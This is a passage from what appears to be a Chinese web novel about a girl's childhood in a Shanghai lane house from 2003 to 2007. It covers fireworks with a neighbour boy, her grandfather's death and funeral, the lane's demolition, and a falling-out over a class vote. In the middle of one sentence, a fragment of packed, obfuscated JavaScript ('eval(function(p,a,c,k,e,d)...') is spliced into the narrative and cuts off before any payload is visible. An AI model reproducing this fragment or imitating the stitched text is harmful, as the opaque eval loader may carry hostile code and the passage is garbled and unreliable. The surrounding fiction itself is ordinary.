她将其中一盆给了沈照清,让他拿回家去。 李觅本想拒绝,但看沈照清紧紧抱着那盘子水仙的模样,口风一转,笑着同桑悦道谢:“谢谢悦悦。你妈妈呢?” 桑悦声音清脆,笑眯眯地回答:“加班呢。” 为了拿值班补贴,但凡是节假日,罗英都是单位里自愿留下值班的那个。只要没其他人想在大过节的留厂值班,那她就一定会顶上去。 闻言,李觅摸摸桑悦的脑袋,蹲下身和她对上视线,笑道:“妈妈这么忙啊。那你等她回来了记得问问她,如果明天晚上吃完年夜饭你没事的话,能不能到沈照清家里去。阿姨买了很多烟花给你们放呢。” “哇!!有烟花放啊!!” 桑悦惊喜不已。 2003年,上海市区还没有开始禁烟。 每逢除夕,包括外滩在内、各个区里的各个地方都会有人放烟花。 外婆家是边户,朝南那面窗台对着南京路步行街,朝西那边的窗台对着弄堂,前面没有高房子遮挡,一眼能看到很远的地方。 桑悦每年过年都会一边看大人们打麻将,一边等着远方谁家开始放烟花,蹭着看一晚上。但她自己倒是从来没放过。因为罗英觉得不安全,连打火机都是不许她碰的,更别说烟花这种东西了。 桑悦:“我妈妈应该不会答应。她怕我被炸伤。” 李觅还是笑,语气温温柔柔的,继续提议:“没有那种大的烟花,弄堂里不方便放,都是些小的,还有很多仙女棒。你问问你妈妈,如果她答应的话,你把哥哥姐姐一起带过来玩吧。” “好!” …… 桑悦家的年夜饭是有固定菜色的。 比如春卷必须要有,家里有孩子在,会在正式开饭前先炸出来,两种口味,春笋白菜肉丝馅的咸春卷和豆沙馅的甜春卷,会准备上满满三大盘。 冷菜是白斩鸡鸭胗熏鱼烤麸腰果这类,热菜就是例如豌豆炒虾仁、茄汁鱼、狮子头、油面筋塞肉、水笋烧肉、蛋饺粉丝汤等等。 其中大部分菜色由田书秀掌勺,罗莉和罗芬也会帮忙烧几个菜,等罗英值完班回家,再洗手搞点炒菜。 家里人多,也没那么多讲究,一般都让小辈们先吃。小孩子胃口小,又不喝酒,让他们吃饱了就下桌自己去打牌聊天看电视。 今年,因为沈照清的到来,桑悦又有了新的盼头。 等看完春晚里赵本山的节目,也得到了罗英允许后,她拉上周骏才和贺云皎,带着外公,一起穿过弄堂去找沈照清。 今天吃年夜饭,沈照清的外公外婆也在他们家里。 不过,一见到桑悦,沈照清立马从屋子里跑出来,招呼他们:“外公,姐姐,胖哥哥,你们来了。我妈妈把烟花都准备好了。” 李觅这次买了一车烟花,仙女棒就搞了五六盒,还有那种火树银花,也有五六盒,但基本都是小型的。 几人一起把烟花从石库门里搬出去,搬到了弄堂后面的垃圾桶附近,那里有一块空地。这会儿旁边已经有人在放了,但位置也还够。 周骏才生得胖,力气也大,轻轻松松就摆好了烟花箱。 外公拿着家里点煤气用的打火机,帮几个小孩把火树银花先放起来。 天色很黑,这一片的路灯也不甚明亮,只有火树银花的银光在稀里哗啦地跳动着,将外公单薄的身影衬得又瘦又长。 桑悦还拿着贺云皎给的仙女棒挥来挥去,余光注意到外公正微微佝偻着腰,一直没有挪动脚步。 她连忙把没烧完的仙女棒塞给沈照清,“哒哒哒”绕开烟花箱跑过去,大声喊了一句“外公”,问:“你身体不舒服吗?” 外公和蔼地笑笑,说:“没有,你快去玩吧,外公马上给你们放好。” 桑悦信以为真,立马用力点头,开口道:“好!外公也快点过来和我们一起!” “好,知道了。” 几个人一直玩到新年倒计时,才把那些烟花放完。 桑悦他们得回家了,家里应该已经搓了几轮麻将,再过一会儿,外婆她们要去庙里拜佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你就乖乖在家写作业,有什么不会的去问沈照清。医院有病菌,到时候别传染了。” 非典还没过去,甚至外地还有新一波高峰,到处人心惶惶,大人们出入医院也是小心翼翼的,回家就换衣服洗手消毒,自然不许任何孩子过去添乱。就连贺云皎也不能去。 桑悦说:“我的成绩比沈照清好!上学期期末考我是我们班第三名,他才是他们班第四名呢!” 罗英脸上有疲色,闻言却还是笑了一下,摸了摸她的头发,表扬道:“那悦悦很厉害啊,下次再争取考第一。外公也会高兴的。” …… 2月16号是周日,罗英没去医院,领着桑悦去克里斯丁面包店买了个小的水果蛋糕,上面有桑悦喜欢吃的黄桃。 生日是只能提前不能延后过的,明天周一,家里大人都要上班,周骏才也已经开学回了自己家,罗英就打算今天给桑悦简单过个生日唱个歌。 桑悦倒是懂事,拎着蛋糕摇头,拒绝说:“算了,外公还在住院,我们都不快乐,还是别唱生日歌了。” 罗英问她:“那你想怎么过?” 桑悦:“就点蜡烛许个愿吧,我想许愿外公快点好起来。” 周末家里人多,你一言我一嘴的出主意,还是硬给桑悦唱了生日歌。 蛋糕就6寸大小,桑悦吹完蜡烛,从袋子里拿了刀和纸盘,让罗英先切一半下来,再分出一半的一半,分别装到乐扣乐扣的保鲜盒里。 她解释说:“这边半块妈妈你帮我给外公带过去,这边的明天我想拿到学校给朋友们尝一下。” 剩下的一半蛋糕就现在分。 家里人都吃过晚饭了,也没人真的饿,一人切一小块意思意思是完全够分的。 罗英手抖了一下,叹口气,难得没有说什么,只是如她要求那样分装了蛋糕。 桑悦将保鲜盒塞进冰箱里,关门时,突然想到冰箱门上还藏了一把塑料刀,是上次沈照清过生日的时候拿来的。 他知道她为月饼刀大哭一场,特地问蛋糕店多要了一把给她,“藏好。” 桑悦怕外婆整理小菜架子的时候又顺手当垃圾清了,干脆藏在冰箱里,用一堆果酱辣酱油之类的瓶瓶罐罐挡住。 这次桑悦的生日蛋糕也给配了塑料刀,但刚刚切的时候已经用脏了。 她把那把干净的翻出来,放到了书包里。 …… 三月,妇女节当天晚上,外公在医院去世。 家里所有大人都在下午赶去了医院,桑悦他们几个小的都在家里等消息。贺云皎被指派过来带着弟弟妹妹,也没准她去。 各自坐立难安了一下午,天色完全黑下来的时候,家中电话响了起来。 贺云皎听完,哭着告诉他们,外公走了。 外婆家唯一一个喜欢吃大饼油条的人永远离开了。 桑悦这个年纪,对生死已经有了模模糊糊的概念,不是什么“去星星上”了、也不是什么“去很远很远的地方”。 死了,就是死掉了,再也不会回来的意思。 孱弱高瘦的外公,沉默寡言的外公,在家里的女人堆里几乎没有存在感的外公,好脾气地带他们买酷儿、陪他们放烟花、带他们遛弯、夏天给他们批棒冰的外公……从此之后,从世界上完全消失,只变成一摊灰。 想到这一切,小桑悦也忍不住撕心裂肺地大哭起来,直到哭得精疲力竭才抽抽噎噎地停下。 到深夜,家里的大人们都哭着从医院回来。 后面还有很多后事要忙,要联系火葬场、布置灵堂、守夜,还要准备贡品、叠锡箔等等。 外公的墓是早先就买好的,他是宁波人,新中国刚成立没多久就来了上海,但他的父母长辈都埋在宁波,所以也要把他送回宁波去安葬,落叶归根。 桑悦家没人会开车,还要去排队买到宁波的火车票。 北京路小学对面就有售票点,罗枚下班会路过那边,就由她去买票,再顺路接桑悦和沈照清放学。 路上,两人听罗枚抱怨了周六罗英大闹医院的事情。 桑悦外公年轻时候身体健壮,是因为得了癌症才变得孱弱,但生命力却始终顽强,医生确认脑死亡之后,心跳迟迟不停。 医院那边想替他拔掉呼吸机,罗英当场发飙,将那几个医生骂了出去:“不许拔!他明明还活着,心跳还扑通扑通的,为什么要拔呼吸机?!万一还能醒来呢!” 那个小医生说:“他已经脑死亡了,其实挂着也是浪费钱。” 罗英:“我们家不差钱!白天就是,你们说没用了不给他打强心针,还是我说要打才打。现在我爸心脏还在跳,他还想活,多少钱都别管,你们有什么办法抢救都试试就行了!他自己有医保,不够的话,钱我也会出的!” 但就算这样,最后还是没有救回来。 外公的心跳一点点停了。 …… 外公的追悼会在龙华殡仪馆办。 2003年的龙华还是烧的,不用运到郊区火葬,追悼会结束就当场烧了装进骨灰盒,交给家属。 七天守灵的最后一天,桑悦家所有人全部到齐,连最小那个阿姨罗敏也带着她女儿从国外回来了。罗敏接到电话的时候已经在收拾东西回国,只是到底天南海北,再快的航班也要十多个小时,终究是没赶上最后一面。 除了家人,外公的老同事、还有弄堂里关系亲近的邻居也都来参加了追悼会。 9号李觅就带着沈照清来家里吊唁过,还送来了花圈和帛金。当天更是一早就过来,看桑悦家里人人手忙脚乱的,就顺手帮他们搬搬东西,领着几个小孩,包括罗敏五岁的混血小女儿也是她看着,免得混乱中被人抱走。 临出发前,桑悦爬上阁楼,坐在小床上,看到罗英肿着眼睛,换上了黑色戗驳领西装,还戴了条真丝小丝巾,一丝不苟地整理好,衣冠齐整地送外公最后一程。 这年头,国内物价还未开始飞涨。 但罗英这身西装是订做的,选的最好的面料,丝巾是她出差去杭州的时候带回来的,从当时的收入水平来说,价格都不便宜,算得上一个贵字。 桑悦从来没有见过罗英给她自己买这么贵的衣服。外婆家里有缝纫机,罗英自己就会裁衣服做裙子,夏天的花色棉布裙都是她自己得出来的(踩缝纫机踩出来的)。 据说,罗英那些拿得出手的衣服皮鞋,几乎都是在桑悦出生前买的。等她呱呱坠地后,妈妈好像就渐渐不再为自己花钱了,变得越来越节约越来越省。 桑悦有时候非常羡慕沈照清,因为他家很好,有空调、有电脑,想买点什么东西,李觅也从来不会把钱挂在嘴上。 但她还是觉得自己的妈妈最好。 桑悦跟上了罗英的脚步。 罗英是二女儿,不用捧遗像,只有一只手里提了些零零碎碎的东西。桑悦把自己的小手塞到了罗英空着的那只手掌心里,又安慰一般地捏了捏她的手指。 等罗英低头看她的时候,桑悦才小声说道:“妈妈别难过,我会一直陪着你的。” 11.11 桑悦日记:「外婆家马上要动迁了,弄堂里的大家都很高兴,只有我一点都不想搬走。这里虽然又旧又小,洗澡不方便,上厕所不方便,睡觉都要挤在一起,但每个角落都有特别的回忆,好像哪里都能玩上半天、介绍半天,讲也讲不完。这可能就是书本上描述的,所谓贫瘠却生动的童年。 我不是舍不得搬走,我是还不想长大。」 - 桑悦外公去世后,罗敏带着她女儿住进了外婆家。她的外国丈夫还在国外,公司一直传要外派他到上海来,加上女儿已经五岁,考虑到以后想回国念书的问题,也要提前了解一下情况,应当暂时不会回去。 家里少了个人,又多了两个人。 桑悦不再和外婆一起睡,而是跟着罗英一起从阁楼搬到了楼下,睡沙发床,阁楼的大床让给了罗敏和她女儿。 罗敏女儿是外籍,有中文名,但她在国外的环境下长大,还没有习惯别人叫她的中文名字,家里人就跟着一起喊她的音译昵称“萨萨”。 萨萨是混血儿,罗敏本来就是家中最漂亮的一个女儿,老公也是长相英俊的老外,萨萨遗传到了父母的优点,皮肤雪白,小脸尖下巴,眼睛又圆又大,头发卷卷的,可爱得真正的像个洋娃娃,没人见了不喜欢,出门连商店里的营业员都忍不住要去抱她逗她。 桑悦原本是外婆家最小的孩子,在长辈和哥哥姐姐中都备受宠爱,现在萨萨来了,她的地位陡然下滑一截。说不清是什么滋味,不是嫉妒,更多的好像是羡慕和怅然,还有一丝丝因为外在条件而产生的落差感。 要是自己长得也有萨萨那么可爱就好了。 不过,对于桑悦家出现的新成员,沈照清倒是反应平平。 周末的下午,罗敏和罗英出门逛街,桑悦坐在床上逗萨萨,沈照清会跑来外婆家找她。 他不经常走进来,每次都敲过门,然后站在门外等她。 桑悦抬起头,立马就笑起来,喊他:“沈照清,你要不要过来和我妹聊几句?” 萨萨的爸爸不是以英语为母语国家的人,但她爸和她妈交流是用英语的。 九几年的时候,罗敏在南京路步行街上的海伦宾馆里上班,遇到了来上海出差的萨萨爸爸。 当时能住酒店的大多是外宾,非富即贵,罗敏长得漂亮出众,个子又高,1米74,据说还被香港来的导演看中过,要带她去参选香港小姐拍电影当明星之类的。 在这种情况下,她拒绝了很多明里暗里的追求,挑中了萨萨爸爸这个异国人成为自己的丈夫,并且远嫁到坐飞机都要十几个小时的地方去,绝对是顶着巨大的压力,也免不了受到父母的反对。 至今,田书秀说起这件事,依旧是怨怼的态度。 但她还是接纳了罗敏和萨萨,让她们住进了弄堂里的小房子,一日三餐地照顾着。 萨萨年仅五岁,爱哭爱笑,但罗敏的教育方式比较严格,所以性格肯定算不上伶俐。但她会讲三种语言,母语、英语、普通话,甚至还能说一口标准的上海话,语言系统完全不紊乱,在这个年代的孩子中属实稀罕。 桑悦在班上成绩很好,唯独英语是弱项。 她聪明又活泼,在学习上却不够努力,还有得过且过,看到背单词这种需要费功夫的事就觉得头疼不已,经常能避则避。 但沈照清不然,他在搬进弄堂前,念的是双语幼儿园,很小就有会话基础,词汇量大,口语也好听。 他们1班和4班用的是一套教师班子,英语老师经常把他拉到1班来念课文。 桑悦承认,她在英语这上面输给沈照清,是有点想要让妹妹来帮自己找回场子的意思。 当然,沈照清对萨萨的存在一直没什么反应,也不会像其他人一样客套地逗逗漂亮小孩,基本当做没有这个人存在,她的心情难免有点复杂,有高兴,也有对他没有眼光的鄙视。 小女孩无法自主的纠结内心,莫名其妙地交织。 她还不能明白自己产生这种不够阳光的想法的原因,只是循着本能,想要在旁人身上一次又一次地验证。 你是只和我关系好吗? 无论我是不是最漂亮最可爱最聪明的,无论是什么样的人突然出现在我们的生活中,友情都不会发生改变吗? 桑悦直勾勾地看着沈照清,盯着他的表情丝毫不错眼。 这回,沈照清依旧对她的提议没有任何兴趣,只是瞥了在大花床单上打滚的萨萨一眼,目光就径直转向了桑悦。 四目相对中,他轻声开口问她:“现在去我家写作业吗?” 只一句话,顿时,桑悦的注意力轻而易举就被转移开。 她抬头看了一眼墙上的挂钟,突然意识到炫动卡通频道的《数码宝贝》快要开始了,留给他们写作业的时间已经不多了。 今天是阿和太一他们返回现实世界的剧情,绝对不能错过。 桑悦立马连滚带爬地跳下床,从旁边拎起书包,大喊一声:“外婆,我去沈照清家里了!吃晚饭的时候再回来!” 说完,也不等回答,就拉着沈照清风一样跑出了走廊,冲下楼去。 …… - 随着时间流逝,上海正在高速发展,日新月异。 而弄堂里的生活却是日复一日,没有什么新意,但也有种色色一一(舒舒服服)的悠闲感觉。 在这样的四季轮转中,孩子们好像一眨眼就长大了。 弄堂对面那个索尼爱立信广告牌,不知道什么时候已经被拆掉,桑悦不再对亨得利的报时鸟念念不忘,夏天除了到沈照清家蹭空调看电视,随着她识字量变大,又有了新的去处。 她开始每天往上海书城跑。 格林童话都是小朋友看的东西,已经不再具有吸引力。桑悦在看完罗敏买回家的《世界十大未解之谜》和《中华上下五千年》后,目前的新宠是《冒险小虎队》系列,讲三个好朋友一起经历冒险、解决各种稀奇古怪案件的故事。 这套书在当时非常新颖,因为它具有互动性,每本都配备了一张解密卡,每个章节后面都会有让读者小朋友一起来猜线索的问题,答案用了特殊工艺涂灰,必须要用解密卡才能照出来。 罗英的书城卡已经用完,他们公司最近也开始改发“好德卡”,用以在好德便利店消费。没了书卡,罗英必然不会让桑悦买这种闲书。没有书,书店不会给卡。 因此,桑悦只能坐在书城二楼的角落里,对着书里那些插图一毫米一毫米地观察,抓耳挠腮地试图寻找到线索。 沈照清找到她的时候,桑悦正在用最后的手段,把书页对着光转来转去地寻找角度,试图看透里面藏着的答案。 “桑悦。” 沈照清喊了声她的名字。 桑悦眼神都没给他半个,只是说:“……哦你来了。等等我马上就能看到了!有什么事等会儿再说!” 沈照清声音平平,听不出情绪,“别照了。喏。” 他把手上的解密卡递到她眼前。 桑悦一愣,仰起头,“你哪里来的?该不会是偷拿出来的吧?!” 她之前在收银台旁边看到过别人买书,店员收了钱,会从侧边第一个抽屉里拿卡给他们。 “……”沈照清对她的想法表示无言以对,“我买了一本。” 只要买一本,拿到一张解密卡,《小虎队》全系列的所有书都能用。 他看桑悦每天这样实在费劲,就从零花钱里拿了20块出来,给她买了一本。 从2003年至今,两人的年龄一点点增加,从小学一年级学生到如今,绿领巾换成了红领巾,还加入了光荣的少先队。 转眼,他们开学就是五年级毕业班。 零用钱自然也得水涨船高。 当然,只有沈照清是水涨船高,桑悦则是从无到有。 因为两人不再需要大人来回接送,桑悦跟罗英闹了半天,说大家都有钱用,罗英就在给她“好德卡”买饮料的基础上,再给她一月50块钱零花。 没办法,从北小到他们住的弄堂,距离实在太近,能花钱的地方寥寥。外婆不许她放学在外面瞎逛,罗英也怕钱给多了她乱花,坚持之下,桑悦想着有总比没强,只能妥协。 但,50块未免也太不够看了些。 毕竟现在已经是2006年,外婆家的VCD机已经更新迭代成了DVD,绿色心情雪糕从八毛涨价到一块一根,沈照清连手机都已经有了,她却还是从前那个手头不宽裕的小孩,只有大一码的衣服鞋变成了大半码而已。 看到沈照清这么爽快地就用20块买了本书,桑悦羡慕地嘟了嘟嘴,但很快又转为高兴,接过解密卡,对着书页摆弄起来,“谢啦!” 沈照清没说话,在她身边坐下,跟着一起窝在角落的地板上,一点也不嫌弃地上脏。 等桑悦把这本《冒险小虎队·火眼》看完,已经是下午四点多了。 她意犹未尽地站起身,将解密卡收起来,书放回书架上,拍了拍裤子,朝着沈照清一招手。 “沈照清,我们走吧!” 沈照清慢吞吞地从地上站起来,但没有迈步跟上桑悦,只是目光炯炯地看着她。 桑悦不解:“怎么了?” 沈照清:“桑悦,你以后一直都可以用解密卡过来看。” 桑悦点点头,笑得十分灿烂,“对啊!还得谢谢你呢!我争取这两周就把全系列都看完。” 她看书速度很快,像《冒险小虎队》这种面向少儿的童书,本来单本就不厚,差不多坐一下午就看完一整本。 闻言,沈照清黑漆漆的眼睛闪动两下,秀气俊俏的脸上露出一丝微妙尴尬的表情,“……不是这个意思。” 桑悦:“哎呀,你到底想说什么,别以阳剐得的(扭捏不爽气),直接讲嘛!” 沈照清“哦”了一声,开口:“上学期你们班女生是不是也在编手链?你为什么给了方圆给了宋书豪,就是没送我?我们不是关系最好吗?” 今年春末那一阵,不知道从哪里流行起了编手链的风气,学校对面的小卖部卖起了玻璃丝,各种颜色各种亮晶晶的款式,五块一把,用几条绕在一起,用拧麻花的方法编,就能编出漂亮的玻璃丝手链。 桑悦动手能力不是特别强,耐心也不够,前两年学校的兴趣班教绣十字绣,绣了半个手掌大的娃娃脸钥匙扣,送给了罗英,之后就再没拿起过十字绣针。 但她怕和同学朋友没有共同话题,还是第一时间加入了编手链的队伍中,用自己不太充裕的零花钱买了两把玻璃丝,搭配起来用。 这个弄起来比十字绣简单,抽着每天的下课时间搞搞,三四天就能编出一条。 桑悦先试着给自己编了一条,觉得还算能看,又给方圆和宋书豪一人一条,让他们务必要戴上一周,不能浪费自己的努力。 也不知道这事儿沈照清是怎么知道的。明明压根不在一个班。 桑悦确实是想过要给沈照清也来一条,但她对自己的技术实在没什么信心,总想着先练练手之后再给他搭配。 偏偏,三条弄完,她对这件事彻底失去了兴趣,加上期末考临近,计划就连同没用完的玻璃丝一起搁置了下来。 时间已经过去两个多月了,再提起这件事,面对沈照清的质问,桑悦还是有点心虚的。她抓了抓脸,小声嘟囔:“我是觉得做得不好看呀,送给你有点不好意思。” 话音刚落,沈照清脸色一缓,追问道:“为什么不好意思?” 桑悦:“你看,你一个男孩子手那么巧,之前不是还给我编过小辫子嘛。我手笨,怕你嫌弃咯。” 桑悦的头发渐渐养长了,虽然为了洗头方便,长度仍旧保持在肩膀以下一点点的位置,但至少已经不是小时候那种苹果头,还可以扎小辫了。 平常早上去上学,外婆就给她后面头发一把抓起来,扎个马尾,套上从城隍庙旁边的批发市场批来的各色发绳,搞不出什么花样。罗英倒是会梳各种样式的小辫,麻花辫鱼骨辫都能梳,还能给她扎满头小辫,像新疆人那样,特别活泼可爱的造型。但她要赶班车,出门时间太早,没法给桑悦弄。 桑悦自己也只能扎个单辫,她一个小孩子,手上力气不够,有时候抓不稳,头绳少绕一圈,就会渐渐地滑开来。 有次两人去 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桑悦再次叹气,妥协道:“行,那明天开始,今天晚上我要跟我妈去坐轮渡玩。” …… 距离弄堂最近的轮渡码头在金陵路。 1990年的时候,上海浦东新区开始开发。 在这之前,浦东就是一个巨大的农村,十分荒凉。 在上海人口中,有一句老话,叫“宁要浦西一张床,不要浦东一套房”,就是这样的历史原因。 黄浦江划出了一道天堑,将上海分隔成两片,一片落后贫穷,一片摩登洋派。 国家宣布开发浦东之后,一大批人到浦东去上班,那时候,跨江轮渡就是他们的交通工具,每天挤去浦东上班,下班再搭船挤回浦西的家里休息。 现在是2006年,浦东已经大变模样,东方明珠和金茂大厦成了上海的新地标,环球金融中心快要竣工,一切都焕然一新。 但跨江轮渡却一直保留着,哪怕连接浦东浦西的隧道高架地铁接连修成,也一直没有取消。 在桑悦很小的时候,罗英就带她去坐过轮渡。 当时她个子小,不用买票,罗英给自己买一张一块钱的单程票,母女俩搭晚上八点那班上船,坐到浦东,偷偷呆在轮渡上不下船,再跟着下一班坐回浦西。 黄浦江的夜色很美,一边是金色的万国建筑,十里洋场,一边是新兴的高楼大厦,霓虹灯耀眼。 更重要的是,江上的夜风很凉快,比闷热的小屋子舒服太多,比弄堂更适合“乘风凉”。 就在去年六月份,外婆家也装上了空调。 但家里人节省,觉得老房子太破,密闭性差,到处都有空隙漏风,开空调太费电,就算是35度的高温天,也只在晚上十点之后开空调。晚上十点到早上六点有分时电表,电费半价。 晚上坐轮渡这个活动,依旧存在在罗英和桑悦的生活里。 等母女俩从最后一班船上下来,再沿着夜色,慢悠悠地走回弄堂,差不多刚好是十点。 弄堂口的永和豆浆已经打烊关门,斜对面的步行街口,原本三层楼的利华公司早在几年前拆掉,变成了如今的宏伊广场。也是桑悦看着它一点一点造起来的。 此刻,宏伊里的高楼尚未熄灯,在黑夜中显得明亮璀璨。 罗英瞥了一眼,转进弄堂,顺嘴同桑悦讲:“阿拉弄堂各的,好像马上要拆迁咯。” 桑悦:“为什么拆?宏伊广场不是造好了吗?” 罗英:“听说是世博会,要修地铁。” 现在距离南京路最近的地铁是2号线的人民广场站,但要穿越一整条步行街,走到新世界城那边,距离外滩则是更远,起码走半个小时,很不合理。 2010年上海要开世博会了,到时候肯定会有很多游客来,政府一直在规划地铁线路。拆迁的事情,也传了两三年了,到最近才越来越有眉目。 只是通知一天不下发,一天都只是“听说”。 桑悦嘟了嘟嘴,不以为意,只是在楼梯口停下脚步,冲着罗英说:“妈,我先去沈照清家一趟。” “组撒?(干什么?)是不是又要玩电脑去咧?” “玩什么呀!去洗澡!” 外婆家人口众多,虽然外公已经去世、周骏才没来,家里都是女人,但洗澡还是和以前一样,要拉上塑料帘子、烧水用塑料盆洗,特别麻烦。 特别是现在时间已经不早,大家都在楼下看电视,进进出出更是麻烦加倍。 桑悦不是第一次去沈照清家洗澡了。 她朝罗英挥挥手,说:“沈照清肯定还没睡,我去借用一下他们家的浴室,马上回来啊!让小阿姨等等我,等我回来再放剧!” 桑悦的小阿姨就是罗敏,她是整个家里最具有享乐主义精神的人,和其他人的勤俭节约截然不同,属于那种想吃就吃、想买就买的人。 外婆曾经说过,罗敏没出嫁的时候,刚发了工资,就跑去楼下的利华公司,十块钱买了两个铁片耳环,是九几年的十块钱。 甚至,她买完带了两次还就不要了,一直丢在家里,去国外也没带走,实在太浪费。 对此,罗敏丝毫不以为意,直接说:“我自己赚的钱,花得开心么就好嘞,有撒好哇啦哇啦的啦。” 罗敏喜欢看韩剧,之前罗枚为了听越剧把家里的VCD机换成了DVD,罗敏也买了一些韩剧的碟片回来,等晚上开了空调,用DVD放,全家一起看。 最近在看的是《浪漫满屋》,桑悦喜欢《蓝色生死恋》,但对《浪漫满屋》这样的题材也接受良好,每晚不肯睡觉,跟着罗敏和贺云皎一起看得津津有味。 因而,桑悦跑出半条弄堂,还频频回头提醒罗英:“妈!一定不要让小阿姨放啊!等我!” 罗英皱了皱眉,远远打量了几圈桑悦小朋友那依旧平板车的身材,回答道:“知道了!你快点回来!别老给沈照清添麻烦!” “他才不会觉得我麻烦呢——” 小姑娘清脆的声音渐渐消失在弄堂最深处,听不清晰了。 12.12 2007年初,弄堂的市政动迁通知总算批下来。 地铁规划耽搁不了,时间紧任务重,刚出新年,拆迁办就来挨家挨户发动迁补偿方案,开始找居民谈话。 这年头,拆迁一夜暴富的故事在上海各地流传,且屡见不鲜。 弄堂里所有人都是抱着狠狠拿一笔钱的想法在期盼着,所以看到通知书上的补偿方案,大家都怨声载道,相当不满意。 拆迁办的补偿方案有两种,一种是按户口本上的人头数,一个二十万,一种是按照房屋面积,无论是原本就写在房本上的面积、还是后期自行搭建出来的面积,全都算,一平方五万块。 桑悦外婆家那栋楼里,四楼都是二三十平的小房间,三楼倒是有稍大一些的,但也比不上石库门里那些有两三间的屋子面积大。 这些老房子大多都住了一家子人,两代三代是常态,四世同堂的也有,偏偏户口不见得都在一起。譬如桑悦家,户口本一共只有五个人,桑悦、罗英、田书秀、罗枚和罗敏。 所以,他们无论按照户口来算,还是按照面积来算,都差不多不占优。 各家各户讨论得热火朝天时,桑悦正躺在沈照清家的沙发上打瞌睡。 老房子隔音差,早上,随着隔壁邻居的无线电里“中央人民广播电台中国之声”的音乐声响起,拆迁办的工作人员也早早就上门来做工作。 有外人在,桑悦没法在楼下继续睡觉,干脆披了个羽绒服,直接穿过弄堂,跑到沈照清家来补眠。 寒假还有几天,开学之后,两人就要念五年级的最后一个学期。 桑悦一想到马上就要去学校面对方圆,就尴尬得浑身不自在,整个人都恹恹的,提不起劲来,恨不得永远不开学。 放假前吵得那一架,余韵实在悠长。 上学期是桑悦他们小学阶段最后一次竞选三好学生,按照学校的要求,首先要满足前个学年四次大考总分年级前十五,然后再由各班自己先投票选出一个名额,报上去之后再竞争。 桑悦的成绩在班上属于长期稳定前五,英语虽然瘸腿,但她语数都很好,把分数拉了起来,但放到年级里,就一直在二十几名徘徊,比不过那些不偏科的同学。 只有上一年,她第一次卡着十五名,勉勉强强挤进了投票的候选名单里。 桑悦原本没报太大希望,虽说选上三好学生是很光荣,但只有市三好才有奖学金,名字能挂到学校外面的红榜上去,区三好和校三好都只发奖状。 上海是五四学制,小学五年初中四年,再过半年他们就要离校上初中去。这种纸质荣誉,有当然好,写到学生手册上留念,选不上也没关系,桑悦其实不是很在乎这些。 偏偏,最后投票结果,她只差了一票,就能竞选上每个班唯一的那个名额,和其他班的优秀学生一起参与竞争了。 投票数出来之后,桑悦看着黑板上每个候选人名字后面的“正”字,说不上低落,只觉得有点可惜。 她打小不够出众,做什么几乎都没拿过第一名。 难得有机会成为一次“1”,还就差了那一票,只能屈居第二,运气实在是差了点。 恰好,那天放学,是桑悦那组值日。 四年半的时光里,他们班的位置调整来调整去,每个月都会换一次。班主任为了防止后排同学被遮挡视线,每次都按照身高顺序调整座位。 桑悦一直在平稳长高,现在差一点点就到160,属于在班上中等偏高的女生。 方圆只比她稍矮一点点,宋书豪则是班上偏高的男生,三人的位置始终隔得不远,这回又换到了一个大组里,要一起做值日生。 和好朋友们在一起,桑悦嘴巴停不下来,一边排桌椅,一边“叭叭叭”地说着闲话。 排到最后一排时,她的余光滑过教室后面的垃圾桶旁边,蓦地一怔。 今天的投票是不记名投票,老师找了学委上去唱票。为了追求速度,学委打开每张的投票纸之后,没有重新合起来,只是随手放到了一边。此刻,那叠投票就被装在一个半透明的垃圾袋里,放在垃圾桶旁边,等着值日生倒垃圾的时候一起带走。 桑悦也不知道是不是天意如此,突然福至心灵,隔着透紫色垃圾桶,她居然一眼看到了方圆交上去的那张投票纸,还有上面写着的第一个字。 小学里的投票众多,连反馈食堂菜难吃都要搞个投票。 根据班主任说,这叫公正民主。 但这种过家家式的民主,老师也懒得真的弄得一本正经,每次都让大家自己随便撕张草稿纸,写了折一折交上去拉倒。 方圆很喜欢买各种漂亮的本子,最近沉迷信封样式的笔记本,她的投票纸很明显,是从蓝色信封本上撕下来的,桑悦见过那本笔记本好多次,非常熟悉。 那张蓝色信封纸被压在一叠纸中间,但因为理得不整齐,露出了第一个字——“宋”。 “……” 桑悦停下动作,回头看了看在扫地和擦黑板的两个好友,默默收了声,去把那张纸翻了出来,悄悄打开。 果然没看错,方圆写得不是她,而是宋书豪。 宋书豪成绩和桑悦差不多,也是在中上游起起伏伏的那种,不过他已经选上过一次三好学生了,在四年级的时候。加上他当时参加了区少年宫的一个比赛,拿了名次,最后还竞争上了区三好。 这一回,宋书豪和桑悦一样,竞选失败。投票排名第一的是他们班的大队长兼班长。 两人都没选上,但桑悦一直以为,方圆会投给她的。 她明明知道自己是第一次考进前十五,为什么还是投给了宋书豪呢? 刚刚投票前去讲台上发言的时候,宋书豪甚至自己都说了不要投给他,给别的同学一点机会。 方圆没听到吗? 还是说……她讨厌自己吗? 桑悦握着那张纸,心里拧成了麻花,胸口“怦怦”直跳。她一想到自己的朋友有可能不喜欢自己,感觉血液都往脑袋上冲,最终还是没忍住,脑子一热,站在教室里当场就问出了声:“圆圆,你今天为什么没有给我投票啊?我差一票就能和班长平了。” 闻言,方圆明显愣了一下,放下黑板擦回过头。 两人站在教室的两端,一头一尾,遥遥相望。 方圆:“悦悦你说什么,我投给你了呀。” 桑悦默默地将那张蓝色的纸挥了挥,示意她,自己已经看到了。 “……” 方圆大步朝她走过来,一把抢走了那张纸,在手中中揉成一团,耳尖发红,“你怎么还翻垃圾桶啊!” 桑悦:“没翻,袋子是放在外面的。” 就这么两三句话功夫,宋书豪也注意到了两人的异样,拿着扫把,大大咧咧地朝她们俩走来,“怎么了怎么了?” 桑悦:“宋书豪,你能不能先到一边去?我和方圆有点悄悄话要讲。” 桑悦不想让宋书豪觉得,自己是不能接受方圆给他投票,所以才在这里质问她。 好朋友之间确实该一视同仁,给谁投都一样,三好学生而已,又不是什么很要紧的事情,但宋书豪都是投给她的,上课前还帮她在男生里拉了波票,想让她能在毕业前拿一次荣誉。 桑悦不是计较结果,她只是迫切地想知道,方圆究竟是怎么想的。 因而,她直勾勾地看着方圆的眼睛,一眨不眨。 方圆始终低着头,捏着纸团,拒绝和她对视。等宋书豪走远之后,她开口道:“是,我就是故意投给宋书豪的,你要生气就生气吧。” 桑悦:“为什么?” 方圆:“为什么我们都要围着你转?为什 